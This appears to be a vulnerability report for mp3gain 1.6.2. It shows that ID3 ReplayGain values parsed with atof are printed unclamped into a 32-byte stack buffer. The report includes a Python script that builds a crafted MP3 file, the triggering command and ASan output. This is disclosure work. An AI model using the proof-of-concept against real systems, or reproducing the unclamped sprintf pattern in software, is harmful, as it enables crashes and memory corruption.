#69 stack-buffer-overflow in WriteMP3GainID3Tag when rewriting a huge album gain

[mu mu]

Summary

The ID3 reader stores the TXXX text with atof:

if (strcasecmp(buf, "REPLAYGAIN_ALBUM_GAIN") == 0) {
    info->haveAlbumGain = !0;
    info->albumGain = atof(value);
}

WriteMP3GainID3Tag then prints that double into sbuf:

char sbuf[32];
...
sprintf(sbuf, "%-+9.6f dB", info->albumGain);

%-+9.6f is a minimum width, not a maximum. 1e308 is hundreds of digits. The same function prints track gain, track peak, and album peak into the same 32-byte buffer (id3tag.c:1257, 1264, 1283) with the same kind of format and no clamp. The ASan stack below is the album-gain call.

The APE writer of the same values is already clamped, for example:

sprintf(valueString, "%-+9.6f", info->albumGain < MIN_GAIN ? MIN_GAIN
    : (info->albumGain > MAX_GAIN ? MAX_GAIN : info->albumGain));

Running mp3gain with only -s i, or with -s i -s u / -s i -s c, does not show this overflow. Those paths cast albumGain to int in main first (mp3gain.c:2646, or mp3gain.c:1951 for -s c) and abort on that cast when the value is 1e308. The sprintf runs when the ID3 writer is reached without that cast. -r -s i does that when the track gain change is 0 and the tag is dirty. -g 1 -s i does it from changeGainAndTag.

Version

mp3gain 1.6.2 with debian/patches/fix-security-bugs.patch applied. That patch clamps the APE writer only. id3tag.c still has the four unclamped sprintfs. Built with ASan and UBSan.

Reproduction

python3 - << 'PY'
import struct

def syncsafe(n):
    return bytes(((n >> 21) & 0x7F, (n >> 14) & 0x7F, (n >> 7) & 0x7F, n & 0x7F))

def txxx(key, val):
    data = b"\x00" + key.encode() + b"\x00" + val.encode()
    return b"TXXX" + syncsafe(len(data)) + b"\x00\x00" + data

body = txxx("REPLAYGAIN_ALBUM_GAIN", "1e308") + txxx("REPLAYGAIN_TRACK_GAIN", "0")
blob = b"ID3" + bytes((4, 0, 0)) + syncsafe(len(body)) + body
blob += bytes((0xFF, 0xFB, 0x90, 0x00)) + bytes(413)
open("poc_id3_album_gain_sprintf.mp3", "wb").write(blob)
PY

./mp3gain -r -s i poc_id3_album_gain_sprintf.mp3

The file is an ID3v2.4 tag plus one MPEG frame. REPLAYGAIN_ALBUM_GAIN is the text 1e308. REPLAYGAIN_TRACK_GAIN is 0, so -r computes a gain change of 0 and rewrites the tag. A copy of this file is poc_id3_album_gain_sprintf.mp3 next to this note.

-g 1 -s i on the same file also overflows, from changeGainAndTag (mp3gain.c:1215) instead of the track-apply write (mp3gain.c:2518).

ASan

Command: mp3gain -r -s i poc_id3_album_gain_sprintf.mp3

ERROR: AddressSanitizer: stack-buffer-overflow
WRITE of size 321
    #0 in vsprintf
    #1 in sprintf
    #2 in WriteMP3GainID3Tag id3tag.c:1276:3
    #3 in WriteMP3GainTag mp3gain.c:1137:7
    #4 in main mp3gain.c:2518:10
    #5 in libc.so.6
    #6 in __libc_start_main
    #7 in _start

Address is located in stack of thread T0 at offset 64 in frame
    #0 in WriteMP3GainID3Tag id3tag.c:1181

  This frame has 2 object(s):
    [32, 64) 'sbuf' (line 1182)
    [96, 128) 'tag' (line 1185) <== Memory access at offset 64 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow in vsprintf

The overflowed object is sbuf at id3tag.c:1182.

For comparison, mp3gain -s i on the same file does not reach id3tag.c:1276. UBSan stops at:

mp3gain.c:2646: runtime error: 6.64386e+307 is outside the range of representable values of type 'int'